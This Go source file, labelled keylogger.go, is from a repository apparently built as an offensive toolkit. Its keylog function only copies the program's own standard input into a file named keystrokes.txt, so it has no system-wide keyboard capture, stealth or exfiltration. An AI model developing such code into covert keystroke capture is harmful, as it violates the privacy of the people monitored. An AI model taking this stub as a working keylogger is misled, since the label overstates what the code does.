github.com/m1ddl3w4r3/Gat@v0.0.0-20221205171512-b6bb6e613409/keylogger/keylogger.go (about) 1 package keylogger 2 3 import ( 4 "bufio" 5 "fmt" 6 "os" 7 ) 8 9 func keylog() { 10 // Open a file to write the keystrokes to 11 f, err := os.OpenFile("keystrokes.txt", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644) 12 if err != nil { 13 fmt.Printf("Error opening file: %v\n", err) 14 return 15 } 16 defer f.Close() 17 18 // Create a buffered writer to write the keystrokes to the file 19 w := bufio.NewWriter(f) 20 21 // Read input from the keyboard one character at a time 22 reader := bufio.NewReader(os.Stdin) 23 for { 24 // Read a single character from the keyboard 25 char, _, err := reader.ReadRune() 26 if err != nil { 27 break 28 } 29 30 // Write the character to the file 31 w.WriteRune(char) 32 33 // Flush the buffered writer to ensure that the character is written to the file 34 w.Flush() 35 } 36 }